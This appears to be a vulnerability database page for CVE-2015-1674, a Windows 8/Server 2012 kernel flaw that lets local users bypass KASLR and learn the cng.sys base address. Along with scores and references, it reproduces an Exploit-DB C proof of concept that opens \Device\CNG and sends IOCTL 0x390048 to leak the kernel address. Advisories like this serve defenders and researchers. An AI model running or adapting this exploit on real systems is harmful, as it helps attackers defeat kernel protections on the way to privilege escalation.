CVE-2015-1674 : Detail

CVE-2015-1674

17.1%V3
Local
2015-05-13
08h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
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CVE Descriptions

The kernel in Microsoft Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 does not properly validate an unspecified address, which allows local users to bypass the KASLR protection mechanism, and consequently discover the cng.sys base address, via a crafted application, aka "Windows Kernel Security Feature Bypass Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-254 Category : 7PK - Security Features
Software security is not security software. Here we're concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 37052

Publication date : 2015-05-17 22h00 +00:00
Author : 4B5F5F4B
EDB Verified : No

// Source: http://www.binvul.com/viewthread.php?tid=508 // Source: https://twitter.com/NTarakanov/status/598370525132423168 #include <windows.h> #include <winternl.h> #include <stdio.h> #pragma comment(lib, "ntdll.lib") int main(int argc, CHAR* argv[]) { typedef NTSTATUS (__stdcall *NT_OPEN_FILE)(OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions); NT_OPEN_FILE NtOpenFileStruct; PVOID Info; HMODULE hModule = LoadLibrary(("ntdll.dll")); NtOpenFileStruct = (NT_OPEN_FILE)GetProcAddress(hModule, "NtOpenFile"); if(NtOpenFileStruct == NULL) { exit(-1); } UNICODE_STRING filename; RtlInitUnicodeString(&filename, L"\\Device\\CNG"); OBJECT_ATTRIBUTES obja; obja.Attributes = 0x40; obja.ObjectName = &filename; obja.Length = 0x18; obja.RootDirectory = NULL; obja.SecurityDescriptor = NULL; obja.SecurityQualityOfService = NULL; IO_STATUS_BLOCK iostatusblock; HANDLE hCNG = NULL; NTSTATUS stat = NtOpenFileStruct(&hCNG, 0x100001, &obja, &iostatusblock, 7, 0x20); if(NT_SUCCESS(stat)) { printf("File successfully opened.\n"); } else { printf("File could not be opened.\n"); return -1; } DWORD dwBuffer = 0; DWORD dwCnt = 0; BOOL bRet = DeviceIoControl((HANDLE)hCNG, 0x390048, &dwBuffer, 4, &dwBuffer, 4, &dwCnt, NULL); if (FALSE == bRet) { printf("[*]Send IOCTL fail!\n"); printf("[*]Error Code:%d\n", GetLastError()); } else { printf("[*]0x%08x\n", dwBuffer); } CloseHandle(hCNG); getchar(); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_8 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

References

http://www.securitytracker.com/id/1032292
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/37052/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/74488
Tags : vdb-entry, x_refsource_BID